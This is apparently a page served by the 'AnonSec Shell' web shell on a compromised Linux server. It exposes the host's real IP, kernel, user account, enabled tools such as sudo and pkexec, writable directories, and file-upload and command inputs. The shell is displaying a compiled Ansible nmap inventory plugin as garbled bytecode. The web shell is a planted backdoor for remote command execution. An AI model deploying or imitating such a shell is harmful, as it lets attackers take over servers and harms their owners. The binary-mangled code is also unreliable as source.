AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.188.92.227
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/ansible/plugins/inventory/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /lib/python2.7/site-packages/ansible/plugins/inventory/nmap.pyo
�
��\c@`s�ddlmZmZmZeZdZdZddlZddl	Z	ddl
mZmZddl
mZddlmZddlmZmZdd	lmZmZmZd
eeefd��YZdS(i(tabsolute_importtdivisiontprint_functions
    name: nmap
    plugin_type: inventory
    version_added: "2.6"
    short_description: Uses nmap to find hosts to target
    description:
        - Uses a YAML configuration file with a valid YAML extension.
    extends_documentation_fragment:
      - constructed
      - inventory_cache
    requirements:
      - nmap CLI installed
    options:
        plugin:
            description: token that ensures this is a source file for the 'nmap' plugin.
            required: True
            choices: ['nmap']
        address:
            description: Network IP or range of IPs to scan, you can use a simple range (10.2.2.15-25) or CIDR notation.
            required: True
        exclude:
            description: list of addresses to exclude
            type: list
        ports:
            description: Enable/disable scanning for open ports
            type: boolean
            default: True
        ipv4:
            description: use IPv4 type addresses
            type: boolean
            default: True
        ipv6:
            description: use IPv6 type addresses
            type: boolean
            default: True
    notes:
        - At least one of ipv4 or ipv6 is required to be True, both can be True, but they cannot both be False.
        - 'TODO: add OS fingerprinting'
sk
    # inventory.config file in YAML format
    plugin: nmap
    strict: False
    address: 192.168.0.0/24
N(tPopentPIPE(t	constants(tAnsibleParserError(t	to_nativetto_text(tBaseInventoryPlugint
Constructablet	CacheabletInventoryModulecB`sJeZdZejd�Zejd�Zd�Zd�Ze	d�Z
RS(tnmaps7^Nmap scan report for ([\w,.,-]+) \(([\w,.,:,\[,\]]+)\)s^(\d+)/(\w+)\s+(\w+)\s+(\w+)cC`szd|_xWtjjd�jd�D]:}tjj|d�}tjj|�r%||_Pq%q%Wt	t
|�j�dS(NtPATHt:R
(tNonet_nmaptostenvirontgettsplittpathtjointexiststsuperRt__init__(tselfRt	candidate((sB/usr/lib/python2.7/site-packages/ansible/plugins/inventory/nmap.pyRFs	"	cC`s\t}tt|�j|�rXtjj|�\}}|sL|tjkrXt	}qXn|S(N(
tFalseRRtverify_fileRRtsplitexttCtYAML_FILENAME_EXTENSIONStTrue(RRtvalidt	file_nametext((sB/usr/lib/python2.7/site-packages/ansible/plugins/inventory/nmap.pyRQsc	C`s�|jdkrtd��ntt|�j|||d|�|j|�|jg}|jdsv|jd�n|jdr�|jdr�|jd�nV|jdr�|jdr�|jd�n+|jdr�|jdr�td	��n|jd
r1|jd�|jdj	|jd
��n|j|jd
�y,t
|dtdt�}|j�\}}|j
dkr�td|j
t|�f��nd}	d}
g}yt|dd�}Wn)tk
r�}
tdt|
���nXxQ|j�D]C}|jj|�}|r�|	dk	rG|jj|	d|�n|jd�jd�rq|jd�}	n|jd�}	|jd�}
|	dk	r|jj|	�|jj|	d|
�g}qqn|jj|�}|	dk	r|r|ji|jd�d6|jd�d6|jd�d6|jd�d6�qqqW|	rp|rp|jj|	d|�nWn5tk
r�}
tdt|�t|
�f��nXdS( Ns8nmap inventory plugin requires the nmap cli tool to worktcachetportss-sPtipv4tipv6s-4s-6s3One of ipv4 or ipv6 must be enabled for this plugintexcludes	--excludet,taddresststdouttstderrisFailed to run nmap, rc=%s: %sterrorstsurrogate_or_stricts(Invalid (non unicode) input returned: %sis
.in-addr.arpaitiptporttprotocolitstateitservicesfailed to parse %s: %s (RRRRRtparset_read_config_datat_optionstappendRRRtcommunicatet
returncodeRRtUnicodeErrort
splitlinest	find_hosttmatcht	inventorytset_variabletgrouptendswithtadd_hostt	find_portt	Exception(RR@tloaderRR&tcmdtpR-R.thostR1R'tt_stdouttetlinethitst
host_ports((sB/usr/lib/python2.7/site-packages/ansible/plugins/inventory/nmap.pyR6\sf"



 "	M
(t__name__t
__module__tNAMEtretcompileR>RERRRR6(((sB/usr/lib/python2.7/site-packages/ansible/plugins/inventory/nmap.pyR@s		(t
__future__RRRttypet
__metaclass__t
DOCUMENTATIONtEXAMPLESRRSt
subprocessRRtansibleRR tansible.errorsRtansible.module_utils._textRRtansible.plugins.inventoryR	R
RR(((sB/usr/lib/python2.7/site-packages/ansible/plugins/inventory/nmap.pyt<module>s(

Anon7 - 2022
AnonSec Team